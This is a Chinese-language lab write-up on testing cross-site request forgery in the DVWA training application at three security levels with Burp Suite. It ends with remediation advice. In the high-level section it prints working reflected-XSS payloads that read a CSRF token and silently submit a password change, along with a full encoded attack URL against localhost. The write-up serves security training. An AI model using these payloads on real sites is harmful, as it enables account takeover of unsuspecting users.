漏洞概述
跨站请求伪造是指攻击者引诱用户访问页面,攻击页面使用该用户身份在第三方网站自动进行操作
测试工具
firefox浏览器,burp suite
测试方法
LOW级别
-
设置DVWA安全级别为LOW
-
启动burpsuite并开启代理
04.01.png -
设置firefox浏览器代理为127.0.0.1:8080
04.02.png -
关闭burpsuite拦截
04.03.png -
使用firefox浏览器发起登陆请求
04.05.png
[图片上传中...(04.06.png-c691b5-1550418901052-0)]
-
使用burpsuite进行CSRF攻击
04.06.png 04.07.png 04.08.png 04.09.png -
分析结果
04.10.png -
代码分析
04.11.png说明:
修改密码过程针对第三方站点自动化请求无任何防御机制,可以在用户登录状态下由第三方站点自动发起修改密码操作
MEDIUM级别
-
设置DVWA安全级别为Medium
-
启动burpsuite并开启代理
04.12.png -
设置firefox浏览器代理为127.0.0.1:8080
04.13.png -
关闭burpsuite拦截
04.14.png -
使用firefox浏览器发起登陆请求
04.15.png -
使用burpsuite进行CSRF攻击
04.16.png 04.17.png 04.18.png 04.19.png 04.20.png -
分析结果
04.21.png -
代码分析
04.22.png说明:
针对请求来源使用http referrer头信息进行检查,但是检查逻辑存在问题,检查逻辑为在referer中查找服务器名称,若查找到则成功,否则失败
HIGH级别
-
设置DVWA安全级别为High
-
借助反射型XSS实现CSRF攻击
- 反射性XSS漏洞利用
payload:
04.23.png 04.24.png<img src="" onerror="alert(/xss/)"/>
- 通过反射型XSS获取修改密码表单user_token
payload:
04.25.png<iframe src="../csrf/" onload="alert(frames[0].document.getElementsByName('user_token')[0].value)"></iframe>
- 利用反射性XSS自动提交修改密码表单
payload:
<iframe src="../csrf" onload="var t=frames[0].document.getElementsByName('user_token')[0].value,x=new XMLHttpRequest();x.open('GET', '../csrf/?password_new=test123&password_conf=test123&Change=Change&user_token='+t, null);x.send()"></iframe>
发起攻击连接:
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22..%2Fcsrf%22+onload%3D%22var+t%3Dframes%5B0%5D.document.getElementsByName%28%27user_token%27%29%5B0%5D.value%2Cx%3Dnew+XMLHttpRequest%28%29%3Bx.open%28%27GET%27%2C+%27..%2Fcsrf%2F%3Fpassword_new%3Dtest123%26password_conf%3Dtest123%26Change%3DChange%26user_token%3D%27%2Bt%2C+null%29%3Bx.send%28%29%22%3E%3C%2Fiframe%3E#
test123为修改后密码
04.26.png -
分析结果
04.27.png 04.28.png -
代码分析
04.29.png说明:
针对请求进行随机token验证,需要借助xss漏洞实现漏洞利用
修复建议
-
对于修改数据和登陆表单提交使用POST方式,同时数据通过POST方式读取
-
添加随机token预防csrf攻击
-
对提交的请求进行referer验证,验证规则请求referer必须以http(s)://host:port/开头
-
针对修改密码,需要输入原密码进行验证
-
可添加验证码进行用户确认
网友评论